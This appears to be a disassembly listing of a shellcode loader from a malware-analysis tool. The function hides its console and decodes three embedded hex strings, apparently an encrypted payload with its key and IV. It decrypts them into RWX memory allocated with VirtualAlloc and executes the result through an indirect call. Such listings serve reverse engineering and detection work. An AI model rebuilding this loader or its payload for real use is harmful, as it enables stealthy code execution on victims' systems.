Function at 0x140002935
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x310
lea rbp, [rsp + 0x80]
call fcn.140002b80
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.892cf1464ae03331e974f68adb0ff2e894003bc59cba0ce56ea609a87838035c037775d19de87f63a9b2f4437d37da3996c84db1eef20e26ea52b0445c3adff19c605f030bd6cbb6d9f36ee2340852ab2d1cf0339624667f3edf6dc5c61237d6791ce40cbfb377d1ad50ed9b358c728604e2009671e84242c42952ab613749eded9c88904ac8dac2698749c77c909374a44cd8835dce48fade373319620da715113524526d6ece7827cac5a7716ad26aca40d359a81f48688cb5d0e572937adf43e02d945ea55532d621c14aad296b6f13b1a9353a0805f8d4e113b98f6003fb6e9cdfab6f8d9e5b303ed5a93f9ffe986275c3d8ce7119674775d8d2644b7aa1e91d6b32a0cc0c1ec9bdeb937e2553270ca326be7566873e3ba6e48423eb69283ff738271ae565284512037fe62f95582266c2edc31f97c54295c19fd97b43250f0749387caa073e1089d3dfeb1e33c8c83f18fb4802a1f688c6e70f41dec90145de6506dac608aaabe857e4a16874d053d3262df630a7d274086905f490313491fdc264064a13a9f2bfffdf1675f988cf4e410f1a7583bc33f336daa93d609b8f17f4306df644a798414f3cd85f8442f7d07e20e9627e91fa82d21e4314a67ffcf6538c97cbbf44a975fbec
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x28c], eax
lea rax, str.ef7891e2b5a686581fc748ae11cad05e6bfb3b31a83371b2f9dc70e808129ffb
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x288], eax
lea rax, str.89d647523ba0c3837f2f26b5eeed7c51832f55b4db4e52a273109096d4fa9e0c
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x284], eax
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.892cf1464ae03331e974f68adb0ff2e894003bc59cba0ce56ea609a87838035c037775d19de87f63a9b2f4437d37da3996c84db1eef20e26ea52b0445c3adff19c605f030bd6cbb6d9f36ee2340852ab2d1cf0339624667f3edf6dc5c61237d6791ce40cbfb377d1ad50ed9b358c728604e2009671e84242c42952ab613749eded9c88904ac8dac2698749c77c909374a44cd8835dce48fade373319620da715113524526d6ece7827cac5a7716ad26aca40d359a81f48688cb5d0e572937adf43e02d945ea55532d621c14aad296b6f13b1a9353a0805f8d4e113b98f6003fb6e9cdfab6f8d9e5b303ed5a93f9ffe986275c3d8ce7119674775d8d2644b7aa1e91d6b32a0cc0c1ec9bdeb937e2553270ca326be7566873e3ba6e48423eb69283ff738271ae565284512037fe62f95582266c2edc31f97c54295c19fd97b43250f0749387caa073e1089d3dfeb1e33c8c83f18fb4802a1f688c6e70f41dec90145de6506dac608aaabe857e4a16874d053d3262df630a7d274086905f490313491fdc264064a13a9f2bfffdf1675f988cf4e410f1a7583bc33f336daa93d609b8f17f4306df644a798414f3cd85f8442f7d07e20e9627e91fa82d21e4314a67ffcf6538c97cbbf44a975fbec
mov rcx, rax
call fcn.1400028a9
mov eax, dword [rbp + 0x288]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.ef7891e2b5a686581fc748ae11cad05e6bfb3b31a83371b2f9dc70e808129ffb
mov rcx, rax
call fcn.1400028a9
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.89d647523ba0c3837f2f26b5eeed7c51832f55b4db4e52a273109096d4fa9e0c
mov rcx, rax
call fcn.1400028a9
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1b0]
mov r8d, 0x1cc
mov rcx, rax
call fcn.14000270e
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov rdx, rax
lea rax, [rbp - 0x20]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x278]
call rax
mov eax, 0
add rsp, 0x310
pop rsi
pop rdi
pop rbp
ret